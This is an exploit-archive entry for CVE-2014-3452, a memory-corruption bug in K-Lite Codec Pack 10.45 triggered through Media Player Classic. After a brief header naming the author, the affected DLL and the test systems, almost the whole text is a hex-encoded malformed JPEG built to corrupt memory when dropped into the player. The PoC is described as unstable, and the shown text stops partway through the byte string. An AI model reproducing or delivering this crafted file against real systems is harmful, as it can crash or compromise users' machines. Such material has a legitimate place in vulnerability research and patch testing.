# Exploit Title: [k-lite Codec memory corruption in latest Version 10.45 ] # Date: [2014/05/12] # Exploit Author: [Aryan Bayaninejad] # Linkedin : [https://www.linkedin.com/profile/view?id=276969082] # Vendor Homepage: [www.k-litecodec.com] # Software Link: [ http://filehippo.com/download_klite_mega_codec/download/5d5a43f1ba3077f61abd35f382d7864a/ ] # Version: [Version 10.45 and prior to that] # Tested on: [Windows Xp Sp 3 x86 & Windows 7 sp1 x86] # CVE : [CVE-2014-3452] details: K-lite Codec latest version 10.45 suffers from an Exploitable memory corruption Vulnerability via a malformed .jpg file format when load K-Lite Codec Pack\Filters\LAV\avfilter-lav-4.dll. Note: For trigger this issue use of Drang and Drop in Media Player Classic. #This Poc is not Stable. Poc: value ="\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x02\x00\x00\x64\x00\x64\x00\x00\xFF\xDB\x00\x43\x00\x03\x02\x02\x02\x02\x02\x03\x02\x02\x03\x04\x03\x02\x03\x04\x05\x03\x03\x03\x03\x05\x05\x04\x04\x05\x04\x04\x05\x07\x05\xBD\x06\x06\x06\x05\x07\x07\x08\x08\x09\x08\x08\x07\x0B\x0B\x0C\x0C\x0B\x0B\x0C\x0C\x0C\x0C\x0C\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\xFF\xDB\x00\x43\x01\x03\x03\x03\x05\x05\x05\x0A\x07\x07\x0A\x0F\x0C\x0A\x0C\x0F\x12\x0E\x0E\x0E\x0E\x12\x11\x0E\x0E\x0E\x0E\x0E\x11\x11\x0E\x0E\x57\x0E\x0E\x0E\x11\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\xFF\xC2\x00\x11\x08\x00\x4B\x00\xC0\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01\xFF\xC4\x00\x1C\x00\x00\x00\x07\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x00\xFF\xC4\x00\x1B\x01\x00\x02\x03\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x04\x00\x01\x02\x05\x06\x07\xFF\xDA\x00\x0C\x03\x01\x00\x02\x10\x03\x10\x00\x00\x01\xAF\xF9\xED\x24\x4C\xFA\xAD\x55\xA2\xA6\x05\xFB\xDC\xF1\x73\xDF\x1B\xD9\x43\xD7\x21\x7E\xE3\x77\x73\x16\xD7\xED\x41\x5F\x3E\x72\x7D\x3B\xB0\xB7\x62\xB5\xB3\xC4\x78\x11\x23\x59\x2B\x81\x71\x4D\x42\xC8\x32\x7B\x50\xB2\x7B\x55\x14\xC4\x5D\x7A\x30\xB6\x1A\xA5\xEF\x10\xFD\xCD\xBF\x12\xA6\x6B\x3A\xEE\x7A\xB5\x37\x41\xD2\x42\xC7\x21\x23\xD8\x6A\x13\x5E\xD7\x7A\xC7\x91\xE7\x4A\x79\xC6\xC3\x18\xEA\x05\xC0\xB8\x12\x16\x4F\x6A\x8F\x2D\x89\x2C\x96\x35\x33\xA2\x55\x81\xAA\x0F\xA9\x77\x00\x8B\xCC\xB5\xA9\x6E\xF0\x8D\x87\xB6\xF5\x5C\x74\xAF\x4A\x9B\x8D\x59\x42\x5D\x65\x6E\x94\xD6\x35\x9E\x8F\xCD\xC4\x81\x74\x24\x34\x89\xEE\xBD\x51\x3B\x83\x22\x5A\xD0\x6C\x6B\x63\x4D\x4B\xA1\x2E\x5F\xC3\xBE\x73\xA9\x1B\x0B\xA5\xBD\xCA\xC8\x08\xA7\x6B\xE2\x70\xAA\xEE\xC5\x60\xD3\x63\xDB\xD1\x1B\x46\x03\xD7\x0D\x30\x1E\x93\xC6\xC0\x65\x1A\x0F\x8F\x74\x35\x65\x91\x3A\x8A\xD4\x21\x34\xDE\x0D\x33\xDB\x95\xF5\x2C\xCB\xB0\x8E\xF4\x61\x2C\x4D\x0C\xA6\xCE\x60\xD0\xC8\xB7\x64\x62\x70\xB8\x5D\xB0\xA5\xD3\x94\xBC\xE7\x0E\xF3\xE7\x52\x7A\xCE\x27\xB4\xA1\xBC\x3E\x8B\xCE\x52\x78\xFC\xC8\x0E\x4B\x66\xBA\x42\x4F\x54\x6C\xD4\x2E\x72\xB2\xFA\x72\x3B\x8E\xEB\x76\xE9\xEC\x80\xFB\x5D\xB9\x01\xD1\x05\x94\xCB\x17\x59\x66\xB8\x65\x57\x9E\x8C\xAF\xFD\x07\x06\xB2\xEA\xA4\x55\xA2\x71\x3B\xB7\xAE\x7F\x5E\xD4\x50\xC6\x33\xE4\xAB\xFC\x16\xBD\x21\xE4\x42\x5F\xAE\x8C\x1A\x12\x45\xC7\xAA\xC7\x44\xB1\x6F\x5B\x81\xE6\x70\x49\xEC\xFD\x37\x31\x72\x8B\xB6\x31\x38\x7E\x98\x4B\xA9\xCF\x97\xE9\x72\xA9\x9C\xAE\xB3\x46\x53\x47\x9C\xC2\xE1\x62\xF8\x91\x24\x38\x70\x97\x45\x90\x92\x04\xB4\xE5\xB8\xC6\x07\x51\xB9\x2C\x73\x1B\x86\xDE\x6A\x2F\x75\x72\xF4\x97\x99\x9E\xBB\x6B\x13\x8C\x3A\x68\xC9\x76\x39\x95\x25\x8B\x0A\xA3\xCC\xF1\x85\x87\x7A\x37\x51\x39\x0F\x1F\xD2\x6B\xC4\x74\xB7\x86\xB2\x7A\x5A\xF2\x9A\x6F\x45\x16\x13\x3D\x38\x16\xBD\x8B\x53\x10\xAD\xD0\xD4\xD4\xBB\x9B\xAF\xB1\x9E\x97\xCD\x70\x13\xEA\x57\x68\x4F\xCF\x4C\x44\x4B\x09\x45\x64\x65\x7D\x01\xD0\xD6\x7E\x75\xD9\x27\x26\x0F\x74\x9C\x84\x90\x25\x90\xD1\x03\xE0\xC0\x8E\x96\xD8\x12\x97\x92\x1F\xA3\x52\xDC\xBD\x68\xFE\x8B\x78\x2B\x02\xEF\x7A\xBE\x23\xEB\x73\xE8\xC3\xA9\x39\x94\xE8\xB7\xD6\xD5\x97\x6D\x6B\x5C\xDD\x37\xC0\xF5\x91\x41\x8F\x5C\x4E\xA0\x48\x9D\xCF\xFF\xC4\x00\x2B\x10\x1D\x01\x03\x03\x04\x00\x05\x04\x03\x01\x00\x00\x00\x00\x00\x00\x03\x01\x02\x04\x00\x05\x11\x06\x12\x13\x14\x15\x21\x22\x23\x24\x10\x31\x32\x33\x16\x34\x35\x41\xFF\xDA\x00\x08\x01\x01\x00\x01\x05\x02\x42\x7C\xF5\x92\xE5\x9A\x1E\x42\x4E\xFB\x4D\x13\xDE\x39\xC4\x92\x33\x5B\x7D\x66\x04\x27\xB8\x16\x29\x2C\x7C\xF5\x78\x9C\x2B\x8C\x4F\xEA\xDD\xAE\x0F\x8D\xA8\xD9\x38\x8C\x62\xF8\x7D\xE4\x24\x81\x30\x71\xB2\xEA\xDD\x8A\xCB\xB3\xB9\xD4\xAE\x7D\x6F\x75\x6F\xAD\xD5\x97\x25\x35\x9B\xE7\x0D\x11\x24\x0F\xD3\x25\xBE\x73\x59\xBB\xB5\x1E\x64\xC2\x5C\x23\x9B\x96\x1F\x0B\x03\x6B\x47\x8D\xAF\x5D\x39\xDA\xB9\xC6\x4C\x47\xD4\xB2\x9C\x3D\x51\x1A\x66\xD5\x63\x54\xC3\x94\x39\xD2\xE1\x19\x0A\x12\x6E\xCA\xAE\x2B\x72\xD6\x73\xF4\xCA\xFD\x32\xB8\xC2\xA4\xE6\xE5\x65\x23\x7E\x48\xDD\x89\xAE\x2E\x24\xDA\x59\xEE\x5A\xDE\x02\x46\x40\x95\x6D\x46\x03\x4A\xD9\x56\xF0\x8A\xE3\x1D\x31\x1F\x52\xB9\xBF\xC8\xF9\x9D\x1D\x61\xDC\x1C\x25\xB6\xDD\x58\x64\x97\x16\x34\xD1\x4B\x81\x22\x1D\x66\xBF\xED\x2A\xAA\x57\xA6\xB2\xD4\xAE\x4A\x54\xC4\xA0\xA2\xF6\x91\x17\xB2\x27\x3D\x25\xC5\x1B\x79\xAD\xB0\x88\xE8\xB1\x1C\x10\xDB\xE5\xCE\x4E\xAC\xB9\x9C\x30\xDE\xAF\x34\xF0\xFE\xAD\x5B\x97\xEA\x98\xA0\x94\x4A\xF0\xF9\x31\xE2\xC2\x94\xE0\xD4\x0B\xB6\xEA\x8D\x2C\x6F\x79\x61\xDB\xD5\xD2\x2C\x51\x4C\x15\x47\xA2\xF9\xD2\x7D\x1A\x95\xF7\x96\xCC\x24\x96\x23\x89\x26\x2B\x38\xCF\x6C\x10\x12\x9D\x70\x71\x6B\xB4\xBD\x47\x93\xD0\x10\x2B\x44\xF4\x6B\xAE\xC2\xFD\x5A\x9F\x09\xAA\x2D\x05\xE2\x02\x4D\x62\xB7\xBC\x32\xCB\x0C\xAD\xB5\x12\xE7\xB2\xA1\xDC\x79\x46\x42\xC9\x90\x97\xE0\xB4\x77\x2D\xA8\x94\xE4\xCA\x2A\x62\x92\x9A\xF5\x24\xC0\x8D\xDC\xF1\xDC\x88\x70\x35\x37\x18\xCD\x41\x58\xCF\xAD\xFC\x6C\x5F\xC1\xA8\x55\x86\xCD\x59\x7A\x09\xC5\xFA\xF5\x10\x50\x9A\x9C\x63\x44\x0C\x00\x20\x82\xD5\x89\x6F\x04\x87\x09\x94\x22\x2E\x61\x5F\x40\xC1\xD8\xAE\x7C\x97\x3B\xB9\x44\x47\xAE\x6B\x35\x8A\x56\xAE\x42\x8C\x6A\x03\x1C\xC2\x47\x73\x09\x11\x1D\x26\x23\x65\x23\x62\xC9\x40\xBA\xDB\x2D\x94\x4B\x54\x5C\x42\xF8\xE4\x2B\xF9\x6E\x63\xFD\x7A\x88\xCF\x6E\xA0\xB6\x5B\x19\x29\xB7\xF5\x2C\x0B\x7C\xF6\x46\x33\x4A\x4D\xF5\xCA\xF1\xD2\x3F\x7D\x43\x86\x78\x24\x72\xEF\xAD\xB4\xB4\x99\x5A\x5D\xDB\x84\x9F\x21\xBB\x7B\x01\x5C\x90\x47\x5E\xC4\x26\xF1\xC7\x44\x73\x6D\x52\x1A\xDC\x1B\xDB\xA2\x11\x93\x9E\x68\xE4\x0D\xC5\x9F\x81\xA4\x5B\x47\xAC\xA3\xDE\x74\xED\xBD\x97\x7B\xA1\x6E\xC0\x62\xAB\xD1\x7D\x6A\x08\xDC\xE5\xB2\x5A\x18\x23\x4A\x6B\xF7\xD2\xD7\x9D\x61\xD4\xD6\xAA\x53\x1A\x11\xC8\xCE\x64\xC5\xCB\x9D\x10\x41\x68\x80\xAD\x64\x64\x63\x56\xDD\x2B\xDB\x79\x3D\xD2\xB7\x8B\xB2\xBA\x7B\xB3\x35\x9F\x86\xA8\x12\xF8\xF1\x8E\xE6\x0E\x1C\x96\x21\x40\x3D\xD5\x1A\x33\xCE\xF7\xDB\xD6\x04\x72\x8D\xEB\x22\x49\xB9\x0E\x8A\xE5\xA4\x6D\x2E\x1B\x59\x75\x67\xC9\x31\xDC\x5C\x76\x61\x63\x11\x31\xC7\xE9\xF0\xE3\xE3\xC3\xEE\xC7\xCC\xBB\x7B\x13\xB1\xC0\xBB\x7C\x45\x9F\x8E\xAD\xFF\x00\x56\x47\x1F\x19\x76\xF1\xC7\xDB\x9D\x3B\xB7\xB5\x72\xDB\xE1\xF6\x9C\x6C\xD5\xDF\xCA\xBC\xA9\x71\x5E\x54\xBB\x6B\xFF\xC4\x00\x2C\x11\x00\x02\x02\x01\x03\x02\x04\x04\x07\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x11\x04\x10\x21\x12\x31\x13\x20\x22\x30\x05\x14\x41\x42\x23\x33\x51\x71\x91\xB1\xC1\xFF\xDA\x00\x08\x01\x03\x01\x01\x3F\x01\x1C\x84\x32\xD5\x98\xB4\x51\x44\xD6\xA1\x7E\x9F\xE9\xA9\x7C\x1A\x78\x66\xDE\x4F\xB7\x7D\x1C\xF1\x52\x14\xE2\xCB\x74\xCA\x68\xB7\x4E\xE1\x9F\x69\xEC\x89\x0C\x95\x71\xE9\xCE\x39\xC9\x6F\x26\x9E\xBE\x44\xB8\x1C\x76\xAA\x4F\xA1\x10\xC2\x04\x2D\x35\x51\x76\x55\xD3\xF5\x2C\xAD\xC5\xFB\x68\x92\x22\xF9\x25\x93\xC3\x52\xE1\xF7\x34\xBA\x59\xE1\xF1\xFB\x13\x58\x13\xDA\xA9\x2E\x92\x4C\x85\x98\x21\x2F\xA9\x6D\x70\xB5\x72\x6A\x74\xCE\x99\x63\xE8\x63\xD9\x46\x4C\x15\x69\xE5\x32\x9A\x23\x1E\x49\x4B\x0B\x82\xF7\xBD\x62\x4D\x9E\x19\x54\xB0\x42\x64\xA1\x09\xC3\xA6\x46\xBF\xE1\x5E\x04\xF3\x99\x63\xFA\x23\x74\xBE\xDF\x51\xA2\x95\xE7\x5B\x69\x34\xFD\x7D\xCE\x23\xC2\x27\x61\x2B\x59\x6F\x6D\xD7\x63\x48\xD2\x4C\x9D\x8B\x07\xCD\x24\xC8\x5C\x9F\x62\x16\x0D\x46\xC8\xE1\x9F\x13\xD1\xBD\x37\xAE\x06\x8E\xCE\xB8\xF9\x73\xB2\xDB\x4F\x25\xD3\xFC\x13\x98\xF2\x4E\xE8\x91\x9F\xA0\x79\x68\x44\xEB\xE9\x46\xAF\x5A\xF3\xD3\x13\xD5\x23\x4B\xAA\x9D\x7C\x32\xAB\xF2\xB8\x21\xAB\x46\xB6\xE5\x2A\x9A\x34\xB1\x69\x3F\x16\x31\xB2\xDA\x17\x61\x1E\x28\xED\x1D\x39\x79\xC9\x0F\xCB\xDF\xE7\x23\x1E\x19\xAE\xD7\x2F\xB4\xA1\x75\x4C\x4B\x03\x5C\x95\x5C\xE2\x85\xAB\x23\x7F\x5C\x4C\x79\xD7\x95\x90\x7E\x9D\xF5\xB9\xEA\x25\x54\xD9\x54\x65\x07\x91\x5B\x91\xF7\xDA\x56\xBC\xE0\xD2\xAF\x49\x3F\x71\x91\xEC\x3D\xAD\x7C\x88\x6B\x8D\xA4\xF0\xCB\x25\xCF\x04\x8A\x1F\xE1\xA1\xBF\x7A\xC1\x16\x77\x23\xDF\x7B\xF6\x65\x1D\xBC\xDF\xFF\xC4\x00\x2F\x11\x00\x02\x01\x02\x04\x05\x03\x03\x03\x05\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x11\x04\x12\x21\x31\x05\x10\x22\x32\x41\x13\x20\x51\x61\x71\xF0\x23\x24\x81\x30\x33\xB1\xC1\xD1\xFF\xDA\x00\x08\x01\x02\x01\x01\x3F\x01\x70\x79\x4F\x4F\x2C\x2F\x2D\x3E\x09\xCE\xD4\xAC\x99\x9E\x5E\x9E\xA5\x09\xB5\x28\xCB\xE1\x9C\x5E\xBD\xF0\x59\xE1\xAF\x4F\xF9\xD0\xE1\x72\xFD\xD4\x7E\xA8\xE2\x12\xB6\x19\xC5\x79\x30\xD1\xE8\x12\x1E\xE6\x26\x97\x55\xC4\xAC\x49\x46\x5B\x95\x29\xC9\x7D\x8B\x97\x2F\xCE\xE2\x2E\x5C\xAD\x34\xA1\xD2\x4E\x6E\x51\xB3\xD4\xBF\x48\xD5\xE2\x45\x74\x94\x6A\x35\x87\xCA\xEF\xAA\x38\x75\x0C\xB5\xA2\xFE\x87\x16\xC5\x4D\x49\x41\x33\x0C\xFA\x4C\xC3\xDC\xAA\xBA\x87\x12\x71\x19\x52\x3F\xD1\x7B\x16\xB4\x6E\x54\x6A\xC6\xB9\x0A\x70\xCC\x8C\x55\x7B\x52\xFA\xF8\x30\x58\x85\x42\xBC\xBE\xA6\x36\x14\x71\x16\x9A\xBE\x7F\x3F\x0D\x14\xAE\xB4\x22\xB5\xD4\x64\xD7\x51\x24\x4A\x23\x43\x47\xA4\xED\x73\x3A\xE7\x94\x7C\xEF\x74\x4B\xB0\x8F\x4B\xE1\xD1\x76\x56\xAD\x68\xC5\x23\xD1\x9C\xF5\x64\xAD\x7B\x89\x94\xA2\x25\xA9\x2D\xC9\xB2\xE4\xAC\x4A\x28\x68\xA7\x52\x50\x95\xD1\x85\x95\x1C\x4C\x7B\x63\x9B\xE2\xBF\xBF\xB7\x93\x88\x70\x3A\x5E\x3A\x3F\xDF\xF1\xF9\xF6\x2A\x53\x94\x1D\x9A\xB0\x9F\x27\xCA\x51\xE9\xB9\x28\x4B\x26\x84\xA3\xE9\xC1\x32\xBD\x47\x28\x22\x85\x1B\xC5\x36\x5D\xDA\xC5\x85\x14\x53\x64\x58\xF7\x1A\xD4\xAD\xB9\x08\x8B\x0D\x74\x4A\x83\x4C\x70\x62\x59\x25\x98\xE1\xF8\x95\x5F\xF4\xE7\xF9\xFF\x00\x3F\x83\x8E\xD3\x70\xC4\xDB\xE9\xF7\x13\xE4\xF9\x54\x51\xF4\xED\x2D\xCA\xF5\x16\x55\x94\x9D\x46\xD1\x3D\xD1\x4E\xCE\x9A\xB1\x18\xF2\x8D\x37\x72\x51\xEB\x2C\x32\xA4\xFE\x0B\x39\x18\x5C\x0A\x4B\x33\x21\x92\x0F\x53\x1D\x87\x84\xF5\x89\x38\x12\x83\x30\xD1\x6A\x68\xE3\xB5\xE1\x3A\xAA\xCF\xC7\xB6\xB5\x42\xE4\xBB\x47\x02\x95\xE1\x64\xCF\x56\x2B\xC8\xB1\x70\xF0\x47\x8A\x4B\x01\xA5\x99\xDF\x93\x23\x81\x93\x30\x7C\x3D\xB7\x76\x63\x2F\x4E\x90\xDE\x62\x73\x56\x27\x1B\x8F\x08\x71\x17\x2C\x3B\xCB\xE5\x8F\x57\xED\xA9\x15\x61\xA5\x96\xE3\xED\x1C\x62\x95\xE4\x62\x6B\x37\x25\x6D\x8A\xB5\x3A\x88\xBE\xA6\x61\xE9\xBB\xDD\x14\xB6\xE4\xCC\x0B\x4F\x56\x46\xBC\x20\xB4\x2B\xD7\x55\xA3\x62\xC8\x96\xC4\x56\xA5\x1C\x34\x77\x38\xEC\x94\xB1\x04\x57\xB6\xA2\xE9\x44\xA3\xD2\x4A\x11\x8C\x55\xCA\xCF\x36\xA5\x8B\x75\x94\x28\xF5\x49\xB2\x94\xD4\x60\xD2\x29\xEC\x5F\x94\x53\xF0\x4A\x44\x67\xA9\x07\xBD\xC7\x0C\xC5\x3A\x36\xDC\x47\x11\x4D\x62\x27\x7F\x91\x7B\x6A\x76\x14\xBB\x7C\x18\xAD\x91\x3D\x87\xE0\xA5\xDF\xE0\x95\xEC\xF7\x20\x52\xED\x10\xCA\x7D\xA3\xFC\xBF\x2F\x25\x12\x5B\x1E\x0E\x27\xFD\xE9\x7D\xC8\x8F\xD9\xFF\xC4\x00\x40\x10\x00\x02\x01\x02\x04\x02\x05\x09\x05\x07\x03\x05\x00\x00\x00\x00\x01\x02\x03\x00\x11\x04\x12\x21\x31\x13\x51\x05\x22\x32\x41\x71\x14\x23\x33\x52\x61\x81\x91\xA1\xB1\x10\x42\x72\x82\xC1\x20\x43\x62\x73\x92\xA2\xC2\x24\x34\xB2\x35\x44\x54\xD1\xE1\xFF\xDA\x00\x08\x01\x01\x00\x06\x3F\x02\x9F\x53\xD9\x4F\xD6\x9B\x84\x0B\x04\x8F\x21\xD6\xC3\x31\x6B\xD4\xCE\xE2\xDE\x6D\x06\x56\x37\xE7\x59\x53\x4F\x33\x76\xFE\xBA\x69\x81\x37\x54\x8D\xAD\xCE\xCC\x6B\xA5\xA4\x8D\xF4\x9B\x10\xBC\x3E\x65\x17\x84\xA4\x8F\x0A\x95\x2E\x47\x59\x9B\xE0\xF4\xF2\xB1\x37\x7F\x32\x3D\xA5\xCF\x75\x74\x36\x12\x44\x96\x18\xED\x29\x72\xE0\x65\x61\xC2\x3D\x96\x52\xC3\x4E\x46\xD5\x89\x8F\x31\xB2\xC2\xA4\x6A\xC7\x5A\x87\xF9\x6B\xF4\xAC\x71\xD2\xC2\x5D\xCF\xE0\x15\x1C\x92\x30\x92\x38\xFA\xC4\x81\x6B\xDB\x51\x9B\x7A\xE3\x62\x2E\x32\x03\x6E\xB6\x53\xAF\x7D\x1C\x5E\x47\xF2\x5B\xE5\xA4\x5C\x56\xA4\xD6\xE6\xBB\xFE\x35\xB9\xAD\xCF\xBE\xBF\xFB\x5D\xF5\xB9\x15\x7B\x9A\xC4\x89\x54\x5B\xAA\x42\x9B\x35\xBD\xF5\x38\x02\xC2\xD1\xFD\x0D\x4D\xF8\x63\xFD\x69\xF9\xF0\x53\xFE\x6D\x52\x6B\xFB\xA4\x3F\xDC\xD4\x30\x91\xB3\x8C\x32\x99\xC9\xCB\xD8\x31\xB8\x5B\x8D\xB9\x8A\xAE\x95\x49\x16\x96\xCE\x01\x20\x75\x8E\xE6\xB0\xB9\x7D\x30\x11\x12\x7B\xFA\xED\x7A\xE8\x69\x25\xEA\xC3\xD7\x67\xB7\x70\xE0\x35\xEB\x11\x8B\xC3\x63\xB0\x4F\x87\x78\x95\x40\x69\x72\xB7\x57\xD8\x45\x44\x3F\x81\x7E\x95\xD2\x57\xEC\x71\xFE\x8A\x28\x30\x1C\x4B\x9E\xC1\x6B\x29\xA6\x68\x0A\x79\x49\xD5\x11\xCD\xE3\xBF\xF1\x5A\x8C\x11\xC7\x16\x1C\x30\x17\x80\x36\x7D\xBB\x81\xD8\x51\x8D\xD0\xAB\xAE\xE0\xD6\xA3\x4A\xBF\xEC\x69\xF6\xCA\x54\xEE\x8B\xF5\x35\x37\x3B\x47\x7F\xE9\xA7\xD0\x01\xC2\x4F\xAB\x54\xA7\x94\x31\xFF\x00\xC9\xAA\x5E\xB6\xBC\x05\xB0\xE6\x49\x6B\x54\x8C\xC9\xA2\xFA\x53\xB1\x62\x6F\xA5\xEA\x28\x66\x99\xE0\x42\xAE\xD2\xF0\xD7\x88\x19\x40\xBC\x6B\xF1\xF0\xF1\xAF\xF5\x43\xCF\x2B\x43\xC1\x91\x4F\x55\xE2\x05\x45\xEC\x75\xAE\x8D\xC3\x31\xB2\xB2\x48\xA4\xFB\x0C\x2C\x3F\x5A\x75\x1D\x6B\xC2\x8C\x79\x8B\x92\x2D\xF2\xA8\x87\x24\x01\xA5\x74\x9A\x49\xA3\x1C\x43\xDB\xC2\xBB\xCC\x5C\xB9\x50\x2A\x7A\x87\xBC\x52\x87\xED\xED\x7F\xD6\xAD\x30\xEB\x6C\x92\x0E\xD2\xD1\x67\x19\xA0\x1F\xBE\x5E\xCE\xBC\xF9\x56\x9F\xB7\x26\xBA\xE5\x1F\x32\x6B\x10\x37\x36\x8F\xE8\x6A\x5B\x0D\x78\x69\xFE\x55\x89\x21\x73\x9F\x36\x9C\xB6\x5B\xFE\xB5\x88\x77\x04\xCB\xC4\xCB\xA6\xB6\x5C\xBA\x7C\x28\xCA\xE3\x86\xA0\xBD\xD9\xBB\xEC\xCD\xB5\x46\x14\x5B\x34\x5A\xB1\xF6\x8A\x55\x5D\xBC\xDE\xBE\x04\x57\x44\xCA\x06\x69\x9E\x17\x21\x41\x00\xFF\x00\xB7\x3A\xEB\x53\xB9\x04\x0E\x12\x1B\x1D\xED\x7A\x4F\xC2\x3E\x95\xD2\x8D\xDF\xE5\x2E\x3E\x1A\x53\x65\x57\x94\x01\xDD\xAD\xA9\x31\x65\x6D\x04\xBF\xDA\xDE\xDE\x55\x6B\xD6\x47\xDA\xAC\xA6\xC7\x9D\x1E\x2C\x38\x60\x64\xBD\xA5\x91\x14\x0C\xDF\xDB\x4A\xD8\x37\x11\x63\x5A\xF9\x70\xF9\x8C\x91\x31\xEE\x01\xCF\x3A\x2A\xC0\xA3\xAF\x55\x94\xEE\x08\xDC\x7E\xC5\xC5\x62\x3D\x81\x3F\x5A\xC4\x77\x31\xE1\xA8\xF7\x2D\xEA\x66\x3D\x80\x16\x3D\xED\xA8\xAC\x4E\x4E\x68\x2E\x75\xFB\xB7\xAC\x5E\x27\x16\x7C\xCA\x4E\x6C\x80\xEA\xCC\x15\x74\xF0\xA7\x5D\xA1\x0E\xF6\x03\x6E\xB1\xBD\x2A\xDF\x68\xED\xF2\xAC\xAC\x46\x9A\xFB\xC5\x74\x44\x85\xCC\xB9\xB0\xD2\x88\xC4\x80\x1C\x99\xA0\xCC\x6C\xDB\xDA\xFF\x00\x33\xC5\xC7\x6C\xB9\x70\xD1\x0B\xFA\xC7\x31\xD6\x93\xF0\x8A\xE9\x3B\xFF\x00\xBB\x49\xF5\xAC\xBB\x5E\xE6\x8D\xCF\x54\xF6\x81\xDB\xE1\x4C\xB0\xAD\xA3\x79\x08\x88\x2E\xBA\x13\xD5\xD2\xAD\x7E\xB5\x6F\x57\x0C\xC8\xDB\x66\x06\xC7\xDC\x45\x4F\xE5\x26\x29\x60\x31\xB3\x48\x63\x8C\x26\x30\x81\xBB\x2B\x2F\x55\xF2\x6F\x6D\x0D\x31\x5B\x95\x91\x23\x93\x39\xD3\x31\xCB\x66\x36\x3E\xD1\x5D\xAA\xDE\xDE\xDF\xB7\x12\x62\x36\x4B\xAA\x66\x65\xEF\x51\xAD\x62\x43\xD9\xC8\x2A\x76\xF5\x96\xA7\x53\xA0\xBA\x0B\x78\x2D\x62\x3F\x9B\xF5\x51\x58\xB5\x0D\xD6\x13\x66\xCB\xF9\x54\x56\x51\xDE\x49\xF8\xD0\x41\xD6\xB0\xB1\x26\xAD\x5D\x0D\xE4\xFE\x9F\xC9\x25\xE1\xDB\x7C\xFE\x4E\x2D\x52\xE1\xE4\x83\x08\xE4\x2A\xEB\x2C\x3D\x6F\x7E\xBD\xD4\xBE\x02\xBA\x4D\xCD\xED\xE5\x72\x5B\xE3\x4F\xD6\xD3\x29\xD8\xD2\xE2\x71\x06\xC5\x96\xEB\xC4\x19\x91\x73\x0D\xC8\x3B\xD1\x11\x23\x2F\x95\x39\x84\xE2\xE6\x39\x67\x8E\xDB\xA8\x50\x34\x0D\x48\x91\x8B\x04\x40\x87\xC4\x50\x22\xB8\x2E\x6C\xFB\x0F\x1A\x86\xEC\x32\x66\xEB\x7E\x0B\x1C\xDF\x2A\x84\x46\x6E\x63\x88\x23\x78\xFE\xCC\xAA\x43\x69\x34\x81\x7C\x2F\x58\x82\x34\x04\xA7\xC9\x2B\x12\x7B\x95\x94\x1F\xE8\xA9\xBD\xB2\x7F\x88\xA6\xC4\x42\xD6\x91\xA6\x7B\xFF\x00\x12\xDE\xD4\xD2\x24\x77\x44\xCC\xC5\xF4\xEE\xF6\xD2\x99\x72\x24\x6C\x50\x66\xCD\x73\x77\x36\xDA\x91\x15\x88\x25\xC2\x33\xE9\xDF\x5D\x05\x98\xFA\x18\x24\xB9\xEE\xEA\xC2\x35\xAC\x45\xC5\xB2\xAA\xAF\xF7\x5E\xF4\xBE\x02\xBA\x46\x35\x1F\xF7\x52\xEB\xF9\xA9\xF1\xB3\x33\xAA\xC6\xE6\x3C\x9E\xBC\x8B\xF7\x45\x45\xC5\x3E\x79\xA5\x59\x18\xEE\x01\x1A\xE5\xB7\x2A\x9F\xC9\x54\x85\x69\x04\x82\x59\x09\xD4\xE5\xD7\xA9\xDD\x4A\x54\xDC\x64\x1A\xFB\xAA\xFF\x00\x74\x6E\x28\x15\xEF\xE7\xA5\x24\xB3\xB2\x37\x15\x6E\x8B\x09\xCE\x32\xFB\x4D\x69\xF6\x6D\x5B\xD5\x85\x62\x3D\x93\x1D\x7C\x40\x35\x2A\xAF\x25\x6F\xA8\xAC\x4F\xF3\x7E\x88\x2B\x10\xB1\xE5\xB0\x7D\xDB\xF0\x8B\xED\x45\x57\x29\x2A\xF2\x03\x9B\xF8\x4D\x01\xEB\xC5\x98\xFE\x6A\x88\x7A\xD3\xC6\x3E\x1A\xFE\x95\x19\xB7\xA1\x95\x45\xCD\x74\x66\x1F\x09\x88\x19\x1B\x09\x38\x99\xE3\xB3\x32\x8E\x1A\x8B\x58\xED\x7A\x39\x7A\xCA\xD0\xA6\x7B\xEF\xDA\x3F\xFA\xA5\xF0\xAE\x91\x6E\x90\xB3\x61\xFC\xAE\x51\xD6\x19\x95\x4D\xFB\xC5\x4A\xB0\xCC\xEF\x91\xD9\xA1\x4C\xB7\x24\xBE\xE6\xFA\x50\x12\x22\xAA\xA7\x59\x7D\xBE\x35\x9A\x56\x2F\x61\x6B\xB5\x12\x3E\x5A\x52\x45\xDE\xE7\x28\xB7\x33\x46\x10\x6D\x8F\x0B\xC6\x87\x37\x59\x0A\xDF\x2B\xA1\x1C\xD4\xD2\xB7\x0F\x84\x42\xD9\xA2\xF5\x5A\xFA\xDB\xD9\xF6\xE9\x5E\xCA\xF6\x56\x29\x72\x93\xE7\x54\xF3\xFB\x82\xA4\x0B\xBE\x44\xFA\x9A\x9F\x9F\x1D\x75\xCF\xB8\x54\x9C\xF8\xCF\xEF\xD6\xA4\x36\xEA\x86\x98\xDF\xF3\x1A\x5C\xC6\xDF\xE9\xFF\x00\xC6\xB0\x9B\x9B\xC9\x9B\x5F\xC1\x50\x71\x05\xB2\x97\x65\x1F\x96\xBA\x35\xB1\x2D\xC3\x8B\xC8\xE5\xD3\x48\x3B\x81\x09\xAD\x3E\x22\x3C\x6E\x0F\xC9\x78\x2A\x8A\xCF\x35\x98\xB2\xB1\x3B\x5B\x4A\x5F\x0A\xE9\x06\x53\xA2\xCF\x24\x8F\x6D\x3A\xEE\xF6\x0B\x4B\x18\x0D\xC3\x0D\xAB\x49\x6D\xCD\x65\x95\x2F\x19\xEC\x33\x5F\x56\xE5\x59\xAD\xE7\x33\x12\x4F\xBE\xB8\x48\x2E\xFC\xAA\x3C\x50\xFF\x00\x72\x92\x2B\x1E\x4B\x47\x13\x84\xF4\xEB\x97\xA5\x30\x8B\xCE\xEB\xE